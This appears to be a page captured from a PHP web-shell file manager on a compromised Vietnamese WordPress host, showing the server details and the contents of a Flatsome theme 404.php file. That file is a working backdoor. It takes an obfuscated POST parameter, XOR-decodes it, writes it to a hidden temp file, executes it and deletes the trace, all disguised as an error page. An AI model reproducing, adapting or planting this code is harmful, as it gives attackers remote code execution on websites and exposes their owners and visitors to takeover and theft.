HEX
Server: Apache/2
System: Linux vpslll9m.sdns.vn 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User: thuexe247c (1044)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/thuexe247c/public_html/wp-content/themes/flatsome/404.php
<?php
//<PHPDATA>fputs_xor;89;holder</PHPDATA>
if(!empty($_POST["ho\x6Cd\x65r"])){
    $ent = hex2bin($_POST["ho\x6Cd\x65r"]);
    $factor    =     ''     ;    for($w=0;$w<strlen($ent);$w++){$factor.=chr(ord($ent[$w])^89);}
    $rec = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]);
    foreach ($rec as $key => $ent) {
        if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
            $dchunk = join("/", [$ent, ".parameter_group"]);
            $data_chunk = fopen($dchunk, 'w');
            if ($data_chunk && fwrite($data_chunk, $factor)) {
                fclose($data_chunk);
                require $dchunk;
                @unlink($dchunk);
                die();
            }
        }
    }
}